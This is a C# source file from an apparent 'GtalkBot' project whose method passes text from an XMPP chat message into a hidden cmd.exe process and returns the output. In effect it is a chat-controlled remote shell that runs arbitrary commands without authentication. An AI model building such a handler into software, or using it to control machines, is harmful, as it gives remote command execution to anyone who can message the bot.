﻿using System;
using System.Collections.Generic;
using System.Text;
using System.Diagnostics;
using System.Windows.Forms;

namespace GtalkBot
{
    class CMD_sh
    {

        public static string _CMD(string Data, agsXMPP.protocol.client.Message msg)  //cmd
        {
            string strRst = null;
            try
            {

                Process p = new Process();
                //用Process就可以
                p.StartInfo.FileName = "cmd.exe";
                p.StartInfo.UseShellExecute = false;
                p.StartInfo.RedirectStandardInput = true;
                p.StartInfo.RedirectStandardOutput = true;
                p.StartInfo.RedirectStandardError = true;
                p.StartInfo.CreateNoWindow = true;
                p.Start();
                //Application.DoEvents();
                p.StandardInput.WriteLine(Data);
                //这个Data就是cmd命令
                p.StandardInput.WriteLine("Exit");
                //这个是退出语句
                strRst = p.StandardOutput.ReadToEnd();
                p.Close();

            }
            catch (Exception ex)
            {
                strRst = ex.ToString();
            }

            return strRst;

        }



    }
}
